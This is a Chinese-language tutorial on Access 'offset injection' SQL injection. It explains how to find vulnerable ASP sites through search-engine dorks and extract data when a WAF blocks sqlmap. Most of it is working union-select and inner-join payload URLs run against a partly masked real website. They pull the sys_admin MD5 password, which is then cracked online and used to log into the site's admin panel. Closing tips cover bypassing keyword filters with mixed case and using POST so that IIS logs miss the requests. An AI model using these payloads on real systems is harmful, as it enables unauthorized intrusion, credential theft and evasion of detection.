在有些Access站点中,由于服务器使用了waf,通过sqlmap进行检测会对封IP,因此无法通过自动工具来获取数据库内容,这时候就需要利用access偏移注入来获取字段值。也即*所表示的字段的顺序被打乱,通过使用inner join查询,从而有可能爆出用户和密码的字段数据。
1.1.1获取目标地址
通过百度、google、fofa.so以及zoomeye等搜索“newslist.asp?id=”关键字,获取带参数的url地址,也即注入目标,例如http://www.f***.com/newslist.asp?id=688。
1.1.2判断url是否存在注入
在url后加and 1=1 返回正常显示
在url后加and 1=2 返回非正常显示(报错),说明可能存在sql注入
http://www.f***.com/newslist.asp?id=688 and 1=1 访问页面正常,如图1所示。
http://www.f***.com/newslist.asp?id=688 and 1=1访问页面非正常,如图2所示。
图1显示新闻正常内容
图2显示新闻内容为空
1.1.3猜字段数
通过url加order by num来判断字段数大小,但num页面显示正确,而num 1显示为错误,则说明存在字段数为num,例如:
http://www.xxx.com/show.asp?id=12 order by 20 页面返回正确
http://www.xxx.com/show.asp?id=12 order by 21 页面返回错误
说明表字段数为20。在本例中, order by 18返回正常,如图3所示,order by 19返回错误,说明字段长度为18。
图3通过order by来确定字段数
1.1.4猜表名
http://www.f***.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from admin
返回正确,说明存在admin表,返回错误则表示不存在该表,经过实际测试,该网站存在sys_admin表,但相应显示字段显示为数字,无法获取表字段内容,如图4所示。
图4查询sys_admin
1.1.5猜sys_admin表下的字段数
根据order by 猜测出来的字段数来构建字段数进行猜测,例如20网页显示正确,则可以构建:
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from admin(页面报错)
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin(页面报错)
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from admin(页面报错)
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin(页面正确)
此时就发现了admin表下有四个字段(20-16=4)。
在本例中order by 18页面显示正确,因此构造语句为:
http://www.f***.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from sys_admin
http://www.f***.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from sys_admin (返回报错)
http://www.f***.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,* from sys_admin (返回报错)
http://www.f***.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from sys_admin (返回报错)
http://www.f***.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,* from sys_admin (返回报错)
http://www.f***.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,* from sys_admin (返回正确)
sys_admin表有18-11=7个字段。
6.inner join 连接查询
inner join查询是将一张表虚拟成多张相同的表来进行查询,首先用两张表来进行查询,应该减去重复的部分也就是这四个字段,不能让这四个字段算两次,这样的话20-4-4=12,语句中只需要罗列出12个数字。
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,* from (admin as a inner join admin as b on a.id = b.id)
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,a.id,b.id,* from (admin as a inner join admin as b on a.id = b.id)
上面的这两种情况还是报错,那么我们继续再来添加一张表,再减去重复的四个字段,20-4-4-4=8,语句中只需要罗列出8个数字。
再次使用inner join查询:
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
页面返回正确,即可获取md5密码。
因此本例中构建18-4-4=10,需要从10开始构建语句:
(1)http://www.f***.com/newslist.asp?id=688 and 1=2 union select 1,2,3,4,5,6,7,8,9,a.id,b.id,* from (sys_admin as a inner join sys_admin as b on a.id=b.id) 返回报错,如图5所示。
(2)http://www.f***.com/newslist.asp?id=688 and 1=2 union select 1,2,3,4,5,6,7,8,a.id,b.id,* from (sys_admin as a inner join sys_admin as b on a.id=b.id) 返回报错
(3)http://www.f***.com/newslist.asp?id=688 and 1=2 union select 1,2,3,4,5,6,7,a.id,b.id,* from (sys_admin as a inner join sys_admin as b on a.id=b.id) 返回报错
(4)http://www.f***.com/newslist.asp?id=688 and 1=2 union select 1,2,3,4,5,6,a.id,b.id,* from (sys_admin as a inner join sys_admin as b on a.id=b.id) 返回报错
(5)http://www.f***.com/newslist.asp?id=688 and 1=2 union select 1,2,3,4,5,a.id,b.id,* from (sys_admin as a inner join sys_admin as b on a.id=b.id) 返回报错
(6)http://www.f***.com/newslist.asp?id=688 and 1=2 union select 1,2,3,4,a.id,b.id,* from (sys_admin as a inner join sys_admin as b on a.id=b.id) 返回正确,如图6所示成功获取admin元加密的密码字符串。
图5通过网页出错递减法来判断
图6成功获取密码
1.1.7解密加密的md5值
将查询获取的md5值去cmd5.com网站进行查询,如图7所示,成功破解md5密码。
图7查询md5加密值
1.1.8登录管理后台
一般网站的登录用户名都是admin,填写用户名和密码成功登录,如图8所示。
图8成功登录后台
1.1.9经验总结
(1)网站安全防护会过滤select、update、delete这些关键字,有些没有区分大小写,因此可以构建过滤字中大小写来绕过,例如用selecT尝试。
(2)在猜不到字段名时,可以查看网站上的登录页面的源代码中登录表单,一般来讲其字段名都与表单的输入框取相同的名字。
(3)url编码。地址栏的 号传入程序后解释为空格,+解释为 号,%解释为%号,具。
(4)用get方法注入时,IIS会记录你所有的提交字符串,对post方法做则不记录,所以能用post的网址尽量不用get。
(5)猜解access时只能用ascii逐字解码法
(6)在发现SQL注入时可以使用多个注入工具进行交叉扫描和尝试猜测。
,